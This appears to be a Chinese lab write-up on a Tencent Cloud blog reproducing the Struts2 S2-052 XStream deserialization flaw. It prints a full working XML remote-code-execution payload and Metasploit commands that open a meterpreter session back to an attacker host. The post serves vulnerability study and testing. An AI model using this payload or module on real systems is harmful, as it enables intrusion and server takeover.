首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Struts2 S2-052 RCE简单测试

Struts2 S2-052 RCE简单测试

作者头像
用户1631416
发布2018-04-12 13:43:46
1.2K0
发布2018-04-12 13:43:46
举报
文章被收录于专栏:玄魂工作室玄魂工作室

本文由玄魂和 方块K 合写。


不太愿意跟风写类似的文章,网友“方块K” 投了一篇相关文章过来,但是略显简略,我重新进行了扩展。

参考了网上的相关文章,自己重新做 实验,算不上原创。

1.1 简介

2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

参考: https://cwiki.apache.org/confluence/display/WW/S2-052

https://lgtm.com/blog/apache_struts_CVE-2017-9805

1.2 漏洞分析

根据补丁分析, 构造相对应的漏洞检测数据包。使用调试工具分析,发现Action经过REST插件处理时会被ContentTypeInterceptor这个类拦截,进入intercept方法如下图所示:

这个Intercept拦截方法很重要,分三步:

第一步:getHandlerForRequest方法会判断提交的请求类型,如果是XML的话就交给XStreamHandler调用toObject方法

第二步:如果浏览器提交的数据包长度大于0的话就获取其输入流,然后将数据包生成一个InputStreamReader对象也就是reader

第三步:调用XStreamHandler的toObject方法将reader数据流进行xml反序列化。

这里XStream并没有对reader的内容进行验证,导致反序列化漏洞。

使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码,导致服务器被攻陷。

下面我们进行简单的测试.

1.3 漏洞测试

测试环境,我这里使用docker,在我的远程vps主机上先安装了docker,然后拉取测试镜像。

docker pull medicean/vulapps:s_struts2_s2-052

拉取成功之后,运行环境:

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052

在浏览器访问服务器的ip,按照文档应该访问http://ip/struts2-rest-showcase/,我访问之后报错,直接访问了orders。如下图:

这是一个简单的测试页面,单击按钮新建新的订单。

在 submit之前,先启动fiddler,捕获post请求。

下面我们拷贝原始请求内容,使用fiddler 的Composer功能,模拟发送请求。

先把Content-Type 改成 application/xml,然后body部分添加我们的攻击Payload。完整数据如下:

POST http://127.0.0.1/orders HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Type:application/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=D04B384774478A5895806A89610B8392

<?xml version="1.0" encoding="utf-8"?>

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
      <flags>0</flags>  
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
        <dataHandler> 
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
            <is class="javax.crypto.CipherInputStream"> 
              <cipher class="javax.crypto.NullCipher"> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                  <iter class="javax.imageio.spi.FilterIterator"> 
                    <iter class="java.util.Collections$EmptyIterator"/>  
                    <next class="java.lang.ProcessBuilder"> 
                      <command>
                        <string>/usr/bin/touch</string>
                        <string>/tmp/xuanhuntest</string> 
                      </command>  
                      <redirectErrorStream>false</redirectErrorStream> 
                    </next> 
                  </iter>  
                  <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types/> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceIterator>  
                <lock/> 
              </cipher>  
              <input class="java.lang.ProcessBuilder$NullInputStream"/>  
              <ibuffer/>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </dataSource>  
          <transferFlavors/> 
        </dataHandler>  
        <dataLen>0</dataLen> 
      </value> 
    </jdk.nashorn.internal.objects.NativeString>  
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
  </entry> 
</map>

上面 的payload中,注意这一段:

这是我们的测试代码,如果成功在tmp目录下创建xuanhuntest文件,即可证明该漏洞,可以被利用执行任意命令。

下面发送模拟数据,然后到远程主机上,登录测试的docker实例,查看结果。

从结果上看,我们可以执行任意命令,危害还是很大的。

1.4 msf利用

下面是 方块k 做的实验。

测试环境

攻击者kali ip 192.168.189.128 被攻击者ubuntu 16.04 ip 192.168.189.137

测试步骤

参考文章http://blog.csdn.net/redfoxtao/article/details/73865395?utm_source=itdadao&utm_medium=referral 安装基本的web环境。

然后下载相应的漏洞程序

http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 然后将struts2-rest-showcase.war放进webapps中

到下面的地址下载msf扩展模块。

https://github.com/rapid7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb

存放到目录:

/usr/share/metasploit-framework/modules/exploits/multi/http/

启动msf,加载模块。

use exploit/multi/http/struts2_rest_xstream_052
set LHOST 192.168.189.128
set TARGETURI http://192.168.189.137:8080/struts2-rest-showcase/orders.xhtml
set RHOST 192.168.189.137
set RPORT 8080
run

拿到metereter之后,查看下ip,看是否是被攻击机的IP地址。

只是一个简单的测试,做个记录,仅供参考。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-09-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 参考了网上的相关文章,自己重新做 实验,算不上原创。
  • 1.1 简介
  • 1.2 漏洞分析
  • 1.3 漏洞测试
  • 1.4 msf利用
    • 测试环境
      • 测试步骤
      相关产品与服务
      容器服务
      腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档